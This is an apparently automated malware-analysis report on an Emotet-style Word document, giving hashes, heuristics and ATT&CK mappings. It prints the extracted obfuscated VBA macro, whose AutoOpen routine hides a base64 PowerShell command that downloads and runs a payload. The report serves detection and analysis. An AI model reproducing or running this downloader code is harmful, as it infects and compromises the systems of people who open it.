Office (OLE) malware analysis — malicious · b28c29f54378135c

MALICIOUS

Office (OLE)

115.5 KB Created: 2018-05-29 07:29:00 Authoring application: Microsoft Office Word First seen: 2018-07-04

MD5: 38e7529cfc0b1e4688be5c5a294f61b2 SHA-1: 3f0ab427a2eef858282d0a6d0951ddeac0167bb8 SHA-256: b28c29f54378135cb04600552102643e8cc3340f1051cc0e0c2f0a71eef5f47f

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Autoopen subroutine that calls a function which in turn uses the Shell() function to execute a PowerShell command. The PowerShell command is obfuscated but appears to be designed to download and execute a second-stage payload. The ClamAV detection and the presence of a Shell() call in VBA strongly indicate malicious intent.

Heuristics 7

ClamAV: Doc.Malware.Emodldr-10058963-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10058963-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

VhBn = CDate(12817)
MbswORluVR = jUSFTw + Shell(zIPimZsjXG + Chr(vbKeyP) + bziRicn + AirCZ, vbHide)
cLAUd = Fix(85371 / CSng(9427) * zVvKId * JFoahp)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18233 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	18233 bytes
SHA-256: `acf85da548b57f47835891def38972049a2ecc93c8d6d8e2f6c92df89056a14f`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "zmCwwUNSHaR" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function HViLoznHlL() On Error Resume Next UuwoVh = Fix(49546 / CSng(7016) * MPMpXl * hUpBV) VhBn = CDate(45561) VbXfza = Fix(76182 / CSng(98153) * oduVi * ipriDa) VhBn = CDate(68859) HViLoznHlL = JmzONRniPzR + znQzmlIw + fUUGDW + IrSiG + RVIaCHzc + ohlDk + EFXCXbow + ConRhaGfbk + SKSJXIwUWi + JwwBUOipG + BTjGMG + LvXnYORVT cXhwh = Fix(46829 / CSng(5213) * JwPcMz * ZcKNE) VhBn = CDate(45057) End Function Sub Autoopen() On Error Resume Next cQrFq = Fix(99884 / CSng(18807) * TElFuH * cFaHO) VhBn = CDate(39199) CKCRZ (HViLoznHlL) GBPjnR = Fix(11876 / CSng(86777) * iwRvR * ciCRW) VhBn = CDate(55150) End Sub Function CKCRZ(AirCZ) On Error Resume Next rGDvH = Fix(1199 / CSng(9373) * zJqdJp * JMsjar) VhBn = CDate(12817) MbswORluVR = jUSFTw + Shell(zIPimZsjXG + Chr(vbKeyP) + bziRicn + AirCZ, vbHide) cLAUd = Fix(85371 / CSng(9427) * zVvKId * JFoahp) VhBn = CDate(51252) End Function Attribute VB_Name = "HRlYpYqCT" Function JmzONRniPzR() On Error Resume Next bsFjBP = Fix(34249 / CSng(20857) * TzvSB * QEPwc) VhBn = CDate(13470) ShbZJ = "owersHeLL -WinD" + "owsTyle " + "hidden " + "-e IAAoACgAKA" + "AiAHsANAA4AH0Ae" + "wA4ADk" uTNmU = Fix(66878 / CSng(18418) * MSUKE * IbcFu) VhBn = CDate(36763) NcFVoEfuNY = "AfQB7ADEAMQAz" + "AH0AewAxADA" + "AMgB9A" + "HsAMQA3ADA" + "AfQB7ADYAMg" bnNGS = Fix(56891 / CSng(88268) * tzUpP * lWPvjB) VhBn = CDate(19374) aNfSXIK = "B9AHsAMQA0AD" + "QAfQB7ADUANQB" + "9AHsANwA" + "0AH0Aew" + "A3ADAAf" + "QB7AD" + "EAMwAyAH0Ae" + "wA4ADQAfQB" fbHww = Fix(14047 / CSng(57455) * qhnHTj * jBFPHT) VhBn = CDate(39641) VzYsXt = "7ADIANAB9AHsA" + "OQB9AHsAMQA2" + "ADQAfQB7" + "ADcAMw" + "B9AHsAM" + "AB9AHs" JmzONRniPzR = ShbZJ + NcFVoEfuNY + aNfSXIK + VzYsXt End Function Function znQzmlIw() On Error Resume Next VpMXEM = Fix(20165 / CSng(22801) * uUIlw * imcGG) VhBn = CDate(75710) Ejndh = "AMwAxAH" + "0AewA" + "xADIANg" + "B9AHsAN" + "wA3AH0Aew" + "AxADI" + "AMQB9AHsAMg" IiEWj = Fix(87032 / CSng(57383) * CnKcmH * jZajVW) VhBn = CDate(23603) GlBiSuRkYQL = "A4AH0Ae" + "wAxADQAMwB9AH" + "sAOAA4AH0AewA" + "xADAANAB9AHsAO" + "QAzAH0AewA" + "xADQAMQ" + "B9AHs" + "AMQA3ADQ" + "AfQB7ADEAMQA" YNhjad = Fix(59088 / CSng(23809) * MTjiS * dRijsj) VhBn = CDate(95371) ZszTocXWZi = "yAH0A" + "ewAxADMANA" + "B9AHsAO" + "AA1AH0" + "AewAx" LOsCD = Fix(62830 / CSng(50855) * fwfjI * NDIXb) VhBn = CDate(93690) ihUqBD = "ADcAfQB7ADEA" + "MAA3A" + "H0AewA4A" + "DEAfQB7ADMA" + "OAB9AHsAOAB9AHs" + "AMwAzAH0AewA" + "xADYANwB9AH" TaDRq = Fix(93207 / CSng(29180) * pTRaEW * haafn) VhBn = CDate(88958) lhjrTX = "sANgA1" + "AH0AewA0" + "ADMAfQB7ADE" + "AMAAxA" + "H0AewAxADcAMwB9" + "AHsAMQAxADA" + "AfQB7ADEANAA" + "5AH0Ae" + "wAxADAAOAB" + "9AHsAMQA0" kDlZbE = Fix(58809 / CSng(45651) * FAtsn * lNkLip) VhBn = CDate(54554) bDTHvd = "AH0AewAxADIA" + "MwB9AHsAMQ" + "A2ADI" + "AfQB7ADEAM" + "QAxAH0AewA5ADYA" + "fQB7ADMAOQB" + "9AHsAMQA2" FEfuV = Fix(65659 / CSng(94033) * JVfqAf * UKISw) VhBn = CDate(23599) YjMTHCjnCD = "ADAAfQB7ADEAN" + "AA2AH0AewAzAH" + "0AewAxADQA" + "MgB9AH" + "sAOAA" KditpN = Fix(91356 / CSng(53955) * zIpjV * JIpXKr) VhBn = CDate(45848) DQLGS = "yAH0AewAyAD" + "YAfQB7ADMANgB" + "9AHsANgAzAH0Aew" + "AxADE" + "AOQB9" + "AHsAMQAyADQ" + "AfQB7ADEANQA1AH" znFwP = Fix(630 / CSng(41587) * dBfuB * ctjAh) VhBn = CDate(11600) AwsUAN = "0AewA1ADQAfQB7" + "ADEAMwA4AH0A" + "ewA0ADEAfQ" + "B7ADUAMg" + "B9AHsAMQA2ADYAf" + "QB7AD" + "MANAB9AHsA" + "NQAzAH" + "0AewAxADMANw" hLzvYB = Fix(99775 / CSng(54724) * CimRjF * QfbuZi) VhBn = CDate(78108) qczLZlBSZi = "B9AHsAMQA1" + "AH0AewA5ADc" + "AfQB7ADE" + "ANgAzA" + "H0AewAx" + "ADQAMAB9AHsA" + "MwA3AH0AewA1A" + "DYAfQB7ADEAMg" + "A4AH0A" + "ewA2ADQAfQB" znQzmlIw = Ejndh + GlBiSuRkYQL + ZszTocXWZi + ihUqBD + lhjrTX + bDTHvd + YjMTHCjnCD + DQLGS + AwsUAN + qczLZlBSZi End Function Function fUUGDW() On Error Resume Next ausjw = Fix(77602 / CSng(19558) * RiPcG * rwVvC) VhBn = CDate(98050) LbGiYlUwHo = "7ADEANgA5AH0" + "AewA2ADkA" + "fQB7ADUAMQB9AHs" + "ANwAyAH0AewAxA" HkjXJS = Fix(38879 / CSng(10787) * ICWwV * ITfmrY) VhBn = CDate(39893) NwMtiiK = "DIANwB" + "9AHsAN" + "AAwAH0Aew" + "AxADYA" + "OAB9AHsAMQAz" + "ADAAfQB7ADEAM" + "AA2AH0A" + "ewA3ADEAfQB7AD" RccQod = Fix(46953 / CSng(58510) * pDTKJJ * VpEFWM) VhBn = CDate(11769) mdfilR = "EAMwB9AHsAM" + "QA1AD" + "gAfQB7" + "ADUAOAB9AHs" + "AOAAzAH0AewA" + "2ADYAfQ" + "B7ADEA" + "NAA4A" + "H0AewAxADA" fOpCP = Fix(30030 / CSng(13600) * mzSuh * jcnda) VhBn = CDate(63314) bzfArcAAjU = "AfQB7ADEA" + "NAA1AH0Aew" + "AxADEAOAB9AH" + "sANAA3A" + "H0AewAx" + "ADYAMQ" + "B9AHs" + "AMQA1ADYAfQB7" BTzKsR = Fix(3784 / CSng(38214) * REWTk * nWOMif) VhBn = CDate(61702) PEGIrcUY = "ADIANwB9AHsAMQ" + "A2ADUAfQB7ADYAf" + "QB7ADQA" + "NQB9AHsANwA2AH0" + "AewA1AH0Ae" + "wAxADAAMAB9AHsA" qOFSJ = Fix(53907 / CSng(35532) * mZOdvq * WwFEYj) VhBn = CDate(27260) UUFsGjh = "MQAxADQAfQ" + "B7ADIAMwB9AHsAM" + "gB9AHsANgAxAH0" + "AewAxADU" + "ANwB9AH" + "sAMQAyAH0A" + "ewA0ADQAfQB7AD" + "EANQA0AH0AewA0" NSGpR = Fix(28810 / CSng(25442) * OVGIvn * srwYRz) VhBn = CDate(10553) pSiwVQdidTa = "ADIAfQB7A" + "DEAMwA1AH" + "0AewA2ADcAf" + "QB7AD" + "gAMAB9AH" + "sAMQAxADcAfQB7A" + "DIANQB9AHsAM" izdsO = Fix(56647 / CSng(51441) * jcqsA * mBdZa) VhBn = CDate(99563) aXcaBs = "QAwAD" + "MAfQB7ADIAM" + "QB9AHsANQAw" + "AH0Ae" + "wAxADI" + "AMgB9AHs" ohzjA = Fix(25140 / CSng(24692) * HwaHMb * nWwUnN) VhBn = CDate(48975) MjWWHtznpOh = "ANAB9AHsAMgAyAH" + "0AewA3A" + "DkAfQB7ADEA" + "MwA2AH0AewAxADA" + "ANQB9" + "AHsAMQA0A" EuwoEv = Fix(91847 / CSng(84269) * FwqPj * OQNjZ) VhBn = CDate(61484) KVLqtGis = "DcAfQB7AD" + "kAOAB9AHsAMQA" + "zADkAfQB7ADEA" + "MAA5A" + "H0AewAxADUAOQB9" + "AHsAOA" + "A2AH0A" fUUGDW = LbGiYlUwHo + NwMtiiK + mdfilR + bzfArcAAjU + PEGIrcUY + UUFsGjh + pSiwVQdidTa + aXcaBs + MjWWHtznpOh + KVLqtGis End Function Function IrSiG() On Error Resume Next locvN = Fix(12532 / CSng(51670) * LtPBs * BYHjLE) VhBn = CDate(8060) wVVRwuVl = "ewAzADAAfQB" + "7ADEAMwAxAH0" + "AewA3ADgAfQB7A" + "DEANQAzAH0AewAx" + "ADYAfQB7ADYAOAB" + "9AHsAOAA3AH" + "0AewA0ADkAf" NkbHN = Fix(69575 / CSng(8701) * hAzoJK * JhpQQ) VhBn = CDate(88283) DfoozSEpB = "QB7ADYAMAB9" + "AHsAOQ" + "AwAH0Aew" + "AxADIANQB9AH" + "sAMgA5A" + "H0AewAxADIAMAB" + "9AHsA" + "OQA1AH" aOnTM = Fix(83512 / CSng(11582) * NaLjas * GsqBl) VhBn = CDate(23202) TiOfpK = "0AewAxADMAMwB9" + "AHsANAA2A" + "H0AewAzADIA" + "fQB7ADEAOAB9AHs" + "ANwA1AH0" + "AewAxADUAMg" + "B9AHsANQA5A" BEfrN = Fix(96111 / CSng(97411) * onHIK * TtXNU) VhBn = CDate(66109) fIcQCs = "H0AewAxAH0Ae" + "wAxADcA" + "MQB9AHsAO" + "QAxAH0" + "AewAx" + "ADIAOQB9AH" + "sAMQA" + "1ADAAfQB7AD" + "EAMQA2AH0" IrSiG = wVVRwuVl + DfoozSEpB + TiOfpK + fIcQCs End Function Function RVIaCHzc() On Error Resume Next YcZjTq = Fix(53246 / CSng(93228) * PIsLMj * UdIArm) VhBn = CDate(46791) CmjzNHCnjO = "AewAxADEANQB" + "9AHsANwB9AHsANQ" + "A3AH0A" + "ewAyADAA" + "fQB7ADMANQB9AHs" + "AMQA5A" + "H0AewAxADEAf" + "QB7ADkAMgB9A" RiFmwT = Fix(77518 / CSng(34060) * cccFIu * WZNYz) VhBn = CDate(31244) zXXWMXzZjX = "HsAMQA1AD" + "EAfQB7ADkAO" + "QB9AHsAMQA3AD" + "IAfQB7ADkANAB9" + "ACIAIAAtAGYAIAA" + "nADsAdwBzAEoAWQ" + "BZAFUAIAA9AC" + "AALgAn" AkFCjL = Fix(64465 / CSng(90034) * DwRllo * HaqOik) VhBn = CDate(13616) LMilbL = "ACwAJwBzA" + "CcALAAn" + "AEAAMQBSAGEAKQA" + "nACwAJwA" + "NAAoAaAAnA" + "CwAJw" + "BhAC4AJwAsACc" + "ASwA3AC8AJ" MjAdRZ = Fix(99746 / CSng(52772) * jECsQ * FwiqY) VhBn = CDate(13825) bzLOIAFn = "wAsAC" + "cALwAnACwAJwAgA" + "CcALAAnAG4A" + "dAAnACwAJw" + "AxAFIAYQApACA" + "AJwAsACcAa" + "AB0AH" RVIaCHzc = CmjzNHCnjO + zXXWMXzZjX + LMilbL + bzLOIAFn End Function Function ohlDk() On Error Resume Next JVicGz = Fix(18037 / CSng(2617) * QcXpA * DdMEX) VhBn = CDate(30401) lOVOz = "QAcAA6AC8A" + "LwAnACwAJw" + "AxAFIAYQBJACcA" + "LAAnACAAJwAsACc" jlEqV = Fix(70651 / CSng(36006) * tiaVZ * vpSCSA) VhBn = CDate(37402) pIwnUwlVwYK = "ALQAnACw" + "AJwAzACcALAA" + "nAFUALwAnACw" + "AJwBKA" + "EEARAAnACwAJ" + "wAuAE4AZQB0AC" + "4AJwAsACcATwBh" + "AGQARgBJAE" ZVaEus = Fix(9581 / CSng(57299) * jbHpw * QbYiP) VhBn = CDate(43329) UtUrlYIcCfj = "0AYwBGACcALAA" + "nACgAJwAsACcAR" + "AAnACwAJwBTA" + "EIAIAArACcALA" + "AnAGUAeA" + "AxACcALAAnAG" + "EAJwA" + "sACcAUgBhAHQ" + "AJwAsACc" + "AYQAgA" wUafHn = Fix(88979 / CSng(3530) * PisLj * RqavP) VhBn = CDate(28162) HMzhKMKwoP = "CsAIAB3" + "AHMAJwAsACcAYw" + "BvAGUAJwAsAC" + "cAbQAv" uRqzRC = Fix(51218 / CSng(87356) * DRfYG * OkRjSi) VhBn = CDate(22351) hnEvu = "AGYAbABhAHMA" + "JwAsACcA" + "MQBSA" + "GEAJwAsACcA" + "WQAnAC" + "wAJwAgACcALAAnA" zknAK = Fix(66432 / CSng(16254) * GfFZJ * IVsbLz) VhBn = CDate(58505) ctHtfnNFSEP = "CgAMQAnACwAJwB" + "NAGMARgAnA" + "CwAJwA7" + "AHcAcwBKA" + "E4AUw" + "AnACwAJwBsAGwAa" + "QBnAGkAcg" + "BsAC4AYwB" + "vAG0AJwAsACc" jLIobp = Fix(58041 / CSng(62449) * MirsPi * QKJjL) VhBn = CDate(672) jYdmCm = "AQwAp" + "ADsAJgA" + "nACwAJwBsAG" + "UAYQAnACwAJ" + "wByACcALAA" ohlDk = lOVOz + pIwnUwlVwYK + UtUrlYIcCfj + HMzhKMKwoP + hnEvu + ctHtfnNFSEP + jYdmCm End Function Function EFXCXbow() On Error Resume Next jTYcv = Fix(83319 / CSng(82960) * NvWEc * VHSqaj) VhBn = CDate(87888) ufTrn = "nAGwAaQBlACcALA" + "AnACAAJwAsA" + "CcAcAA6AC" + "cALAAn" + "AE8AZwA" + "nACwAJwBKAGUAJ" + "wAsACcAdwBzA" + "EoAbgBzAGEAZAB" + "hAHMAZAAuACcA" RwtrrK = Fix(1717 / CSng(78196) * OftcUC * ipFtV) VhBn = CDate(92911) qWKFaDSEfRH = "LAAnAD0AJ" + "wAsACcA" + "VgAnACwAJwBXAG4" + "AbAAnACw" + "AJwBuA" + "CcALA" + "AnAHcAJwA" + "sACcAe" KBJuD = Fix(81428 / CSng(86917) * RYpCci * AjSZA) VhBn = CDate(15801) XnkqHLZH = "QAnACw" + "AJwAgACcALAA" + "nAC8AJwAsACcAL" + "wBAAGgAdAB0" + "ACcALAAn" + "AC8AVgBLADkA" + "JwAsACcA" + "bAA1ACcALAAnA" + "GEAKwAxA" jPBEF = Fix(13921 / CSng(70988) * AVVaiq * QzwBdO) VhBn = CDate(40064) GCjQh = "FIAJwAsA" + "CcAcwAnACwA" + "JwB3AHMASgBTACc" + "ALAAnAG" + "cAJwAsACcAZgBjA" + "C4AVQBnACcAL" + "AAnAHsAJ" + "wAsACc" SaffoY = Fix(52338 / CSng(92360) * NmStsw * lAnYUj) VhBn = CDate(2331) qjiuScTJ = "AOwB3A" + "CcALA" + "AnADEAUgBhAGUAJ" + "wAsACcAdAAnACw" + "AJwBjAGg" + "AZQByAHU" + "AJwAsAC" + "cAIAA" + "nACwAJwAvACc" NSQUaw = Fix(59356 / CSng(19109) * djiab * FZZZNw) VhBn = CDate(45532) hZAWHfH = "ALAAnAHUAJwAsA" + "CcAQwB" + "YACkA" + "ewB0ACcALAAn" + "AGQAZQA" + "nACwAJwB" + "iACcALAA" + "nAGkAbgAnACwAJw" XwNPcb = Fix(93770 / CSng(34852) * ZfSWIG * zicEP) VhBn = CDate(16991) XjmwET = "BPAFo" + "AVgBsAFAALwBAAG" + "gAJwAsACcAYQB" + "uAGQAbwBtACcALA" + "AnAGEAdwAtAG" + "8AJwAsACcAbABlA" + "CcALA" + "AnAEQAOQB" + "hAFEAJwAsACcAU" + "gAnACwAJwA" KKEhw = Fix(89147 / CSng(13701) * DpdsWN * BiRLwF) VhBn = CDate(90515) zcALLqosRO = "gACcAL" + "AAnAFIAYQAnACw" + "AJwBiAGwAaQ" + "BjACAAKwA" EFXCXbow = ufTrn + qWKFaDSEfRH + XnkqHLZH + GCjQh + qjiuScTJ + hZAWHfH + XjmwET + zcALLqosRO End Function Function ConRhaGfbk() On Error Resume Next ZzSEc = Fix(57777 / CSng(39012) * ZOdCF * tzXik) VhBn = CDate(54007) SzvwOJ = "nACwAJwBlAG" + "IAQwAnACwAJw" + "AvAC8A" + "agAnACwAJwAuAGQ" + "AZQAv" + "AGsAegBGA" + "HcAZwAn" + "ACwAJwBjADEAUg" + "BhACsAMQ" tPjHOj = Fix(88059 / CSng(74868) * KPPBf * jpfKiW) VhBn = CDate(6717) VphOpjSmpjk = "AnACwAJwBlA" + "G0AJwAsACcA" + "YwAnACwAJwB" + "yACcALAAnADEA" + "UgAnACw" + "AJwBzAEoAbgB" sKddoT = Fix(76624 / CSng(38953) * Sffhi * NzajVE) VhBn = CDate(28377) VPdNVHDXjQz = "zAGEAZABhAHM" + "AJwAsA" + "CcAdwAn" + "ACwAJwBvACcA" + "LAAnAG4A" EtIRhz = Fix(51537 / CSng(86904) * qkrwl * ETPqu) VhBn = CDate(93529) uDEUbsSczMR = "dgBvADEAUgAnACw" + "AJwAxACcALAA" + "nAEMAKQA7AG" + "IAcgBlA" + "GEAawA7AH0" + "AYwBhA" + "HQAYwBoAHsAfQB" + "9ACcALAAn" + "AFUALgBVA" + "GcAcwBEAG8ATQ" zDztR = Fix(25229 / CSng(16156) * hadXYk * BFVtZY) VhBn = CDate(79776) kIzCjBajkvz = "AnACwA" + "JwA9AC" + "cALAAn" + "AEAAaAB0A" + "HQAcABzACc" + "ALAAnAGY" + "AJwAsACcAa" + "wAxAFIA" + "YQArADEA" + "UgBhAGUALQBJAH" rzbtVM = Fix(11627 / CSng(27240) * qitFU * hNkRIK) VhBn = CDate(25882) FQQwnZsmiPk = "QAZQBtADEAUg" + "BhACkA" + "KAB3AHMAJwA" + "sACcAM" + "QBSAGEALg" + "BTAHA" MTYRJ = Fix(40332 / CSng(2571) * wKGFt * TmcbLJ) VhBn = CDate(64417) PQvWzEmbRvI = "AbABpA" + "HQAJwAsACcAbgB" + "lAHgAJwAsACc" + "AIAA9AC" + "cALAAnAE" + "oATgAnACwAJwBh" + "ACsAJwA" + "sACcAYQA" + "pACcALAAnA" ConRhaGfbk = SzvwOJ + VphOpjSmpjk + VPdNVHDXjQz + uDEUbsSczMR + kIzCjBajkvz + FQQwnZsmiPk + PQvWzEmbRvI End Function Function SKSJXIwUWi() On Error Resume Next qajRnf = Fix(78855 / CSng(13828) * liaOaw * wtSTlj) VhBn = CDate(98926) GwijRtYiU = "HQAZQAnACwAJwB" + "XACcAL" + "AAnADgAMgAxACcA" + "LAAnAHMASg" + "BhACcALAAnADAA" + "MAAwADAALAA" vquzo = Fix(63561 / CSng(97818) * rWcwk * hVhpdU) VhBn = CDate(52187) VoLizVnw = "gACcALAAnAEQA" + "QwBYACAAJw" + "AsACcAZQAn" + "ACwAJwBkA" + "CcALAAnAC" + "gAMQBSACcA" ctqhf = Fix(36112 / CSng(83374) * EHaRV * lrSzna) VhBn = CDate(67572) VrbrJWj = "LAAnACwA" + "JwAsACcAcwAo" + "ACkAJwAsA" + "CcAIAA" + "xAFIAYQBNAG8ANg" zzKDMz = Fix(72474 / CSng(92193) * focOA * HBjMd) VhBn = CDate(34828) Nwnwhd = "AxAFIAJwAsACcAZ" + "wByAGEAJwAsAC" + "cAaAAnACwAJ" + "wBZACcALAAnAG" + "EAKwAn" + "ACwAJwAoA" XTXjj = Fix(82289 / CSng(44765) * hAjkvs * cGucI) VhBn = CDate(2077) qwJwnKIsj = "DEAUgAnACwAJwA" + "zACkAOwAn" + "ACwAJ" + "wBlAH" + "IAJwAsACcAcwB" + "KACcAL" dsjkjL = Fix(96614 / CSng(13361) * FZcar * cNuYcz) VhBn = CDate(76648) cYfJsqB = "AAnAFIAYQ" + "BuAGUAMQ" + "AnACwAJwB0AHQA" + "JwAsACcAaQAnA" + "CwAJwBTAHQAcgBN" + "AGMARgBpACc" + "ALAAnA" dFPkZZ = Fix(34418 / CSng(2533) * UcqiA * HMfald) VhBn = CDate(21335) AYQHqXhRrY = "C8AcwAnACwA" + "JwBpAG4AJwAs" + "ACcAagBlA" + "CcALAAnA" + "GMARgAnACwAJwB" Sfvdh = Fix(64220 / CSng(69173) * wpzFi * aYhwE) VhBn = CDate(30943) VMvohAdztt = "jAHQAMQBSAG" + "EAKQA" + "gAFMAeQBzAHQ" + "AJwAsACcAbgB2AD" + "oAcAAnACwAJ" + "wArADEAUgBhAG" + "UAMQBS" zBCcO = Fix(75740 / CSng(24099) * XBPSnz * dvkTZ) VhBn = CDate(91999) InpnNEXD = "ACcALAAn" + "AHcAJ" + "wAsACcAaQ" + "AnACwAJwBvAHIAZ" + "QBhAGMAaAA" + "oAHcAJwAsACc" + "ALwB2AGUAJwA" + "sACcAUgBhAC0A" + "bwBiACcALAAnA" + "HQAdAB" AiuUnl = Fix(12300 / CSng(86542) * ZvJUit * SuXab) VhBn = CDate(75757) fTlKRiJlE = "wADoA" + "JwAsACcAdwAnAC" + "wAJwAxAFIA" + "JwAsA" + "CcAdgBhAC" + "cALAA" + "nAFIAY" + "QAnACwAJwA7" + "ACcALAAnAEAA" + "JwAsACcAM" SKSJXIwUWi = GwijRtYiU + VoLizVnw + VrbrJWj + Nwnwhd + qwJwnKIsj + cYfJsqB + AYQHqXhRrY + VMvohAdztt + InpnNEXD + fTlKRiJlE End Function Function JwwBUOipG() On Error Resume Next nrWVvl = Fix(22580 / CSng(69807) * MTAXhu * briMpX) VhBn = CDate(57577) OucEKZz = "gAnACw" + "AJwBNAG" + "MARgBOAGcAV" + "QBnACcA" + "LAAnAGEAKw" + "AxAFIAYQA" aktSZC = Fix(41076 / CSng(5599) * tHcRP * HdpEw) VhBn = CDate(920) PINPTfKk = "nACwAJwBVAGc" + "AcwAoAH" + "cAcwB" + "KAGEAcwAnACwA" + "JwB3AHMAJwAsAC" + "cAIAB3AHMAJwAs" + "ACcALgB" + "jAG8AbQAuAGEAdQ" + "AvAG4AJwA" VTYuwj = Fix(94086 / CSng(51412) * PNtuKs * KorQnd) VhBn = CDate(51688) wqsltqpNrFL = "sACcA" + "YwBhA" + "GYAZQAuAG" + "MAbwAnACw" + "AJwBzA" iLfXj = Fix(200 / CSng(36516) * czOatf * mFmzr) VhBn = CDate(29350) PpiwLEsm = "EoAUwBEA" + "EMAJwAsACcAcAB" + "sAGEAbgB1" + "AG4AJwAsA" + "CcAcwBmACcA" VAOjf = Fix(30593 / CSng(9656) * qrsHLl * Zruzj) VhBn = CDate(33037) GwOJvuKpXPD = "LAAnADEAJwA" + "sACcAdAAnACwAJ" + "wB3AHMASgBBACc" + "ALAAnAD" + "oALwAnACwAJwByA" + "CcALAAnAGgA" wRAiiF = Fix(21178 / CSng(1147) * jCKpfI * VDcsGW) VhBn = CDate(64142) jKafWEz = "JwAsACcAc" + "AA6AC8ALwBsAG8" + "AJwAsACcA" + "QgAgAD0AJwAsACc" + "ALwAnA" + "CwAJwBuAGc" + "AcwB2AG" + "UAcgBtAGkA" TUjjuE = Fix(88580 / CSng(67524) * XDzjA * zYpMJF) VhBn = CDate(2430) pjlwb = "dAB0A" + "GwAdQBuAGcALgAn" + "ACwAJwAgAC" + "YAKAAxAFIAYQ" + "BuADE" XRsZtD = Fix(46615 / CSng(82224) * kOLOW * FapSER) VhBn = CDate(53357) MsnraDw = "AUgBhAC" + "sAJwAsA" + "CcAVAAnACwA" + "JwBKAFMARA" JwwBUOipG = OucEKZz + PINPTfKk + wqsltqpNrFL + PpiwLEsm + GwOJvuKpXPD + jKafWEz + pjlwb + MsnraDw End Function Function BTjGMG() On Error Resume Next PUWcU = Fix(32399 / CSng(19092) * jSYLO * iAfih) VhBn = CDate(57723) SHwcuvGKUPI = "AnACwAJwB0AC" + "gAMQAnAC" + "wAJwB" + "qACcAKQApACA" + "ALQBSA" + "GUAcABsAGEA" + "QwBlA" + "CAAIAAoA" VoSdt = Fix(69754 / CSng(73403) * mzdvG * EXbDZP) VhBn = CDate(23508) DhWadsjX = "FsAYwBoAGEAUg" + "BdADgAN" + "QArAFsAYwBo" + "AGEAUgBdADEAMA" + "AzACsAWwBjA" sqKQDw = Fix(80023 / CSng(76237) * kzwuf * zajXF) VhBn = CDate(88297) fdlrj = "GgAYQBSAF0AMQA" + "xADUAKQAsAFsAYw" + "BoAGEA" + "UgBdAD" + "MANAAgAC0A" + "UgBlA" + "HAAbABhAEMAZQA" + "nAE0AYwBGACcALA" uPHZZ = Fix(54390 / CSng(7920) * HOAnvc * dhqdw) VhBn = CDate(51939) hhEXkwrk = "BbAGMAaA" + "BhAFIAXQA5A" + "DYAIAAgAC0AQw" + "ByAGUAUABsAEEAQ" + "wBFACAAK" + "ABbAGM" wHiZUb = Fix(55613 / CSng(87187) * HoXvvI * WNjrdj) VhBn = CDate(97010) CpFJCijlE = "AaABhAFIAXQA0A" + "DkAKwB" + "bAGMAaABh" + "AFIAXQ" + "A4ADIAKwB" + "bAGMAaABhAFIAXQ" BTjGMG = SHwcuvGKUPI + DhWadsjX + fdlrj + hhEXkwrk + CpFJCijlE End Function Function LvXnYORVT() On Error Resume Next jbjzz = Fix(64643 / CSng(52791) * uBRArA * cBNVt) VhBn = CDate(97890) jpzKmblHTn = "A5ADcAKQA" + "sAFsAY" + "wBoAGEAUgBdADMA" + "OQAgAC0AUgBlAH" + "AAbABhAEMAZQAg" + "ACAAJwB" + "3AHMASg" + "AnACwAWw" + "BjAGgAYQBSAF" + "0AMwA2AC" jXUET = Fix(31374 / CSng(29501) * POJaps * fuKftd) VhBn = CDate(88460) ZUiMzj = "0AQwByA" + "GUAUABsAEEAQ" + "wBFACAAIAAo" + "AFsAYwBoAG" IlVFHp = Fix(30388 / CSng(26321) * ILvJc * NLfKmD) VhBn = CDate(81987) mhkLjZO = "EAUgBd" + "ADcANwArAF" + "sAYwBoAGEA" + "UgBdADEAMQAxAC" + "sAWwBjAGgAYQ" + "BSAF0AN" + "QA0ACkALABbAG" + "MAaABhAFIA" + "XQA5ADIAK" + "QAgAHwAJgAoA" LPhWT = Fix(21928 / CSng(25817) * umuMS * LItzAE) VhBn = CDate(34657) wBYUDUwKTc = "CAAJABQA" + "HMASABvAE0AZQ" + "BbADQAXQArACQ" + "AUABTAGgAb" + "wBtAGUA" + "WwAzAD" + "QAXQArACc" + "AeAAn" + "ACkA" LvXnYORVT = jpzKmblHTn + ZUiMzj + mhkLjZO + wBYUDUwKTc End Function

SHA-256: acf85da548b57f47835891def38972049a2ecc93c8d6d8e2f6c92df89056a14f

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "zmCwwUNSHaR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function HViLoznHlL()
On Error Resume Next
UuwoVh = Fix(49546 / CSng(7016) * MPMpXl * hUpBV)
VhBn = CDate(45561)
VbXfza = Fix(76182 / CSng(98153) * oduVi * ipriDa)
VhBn = CDate(68859)
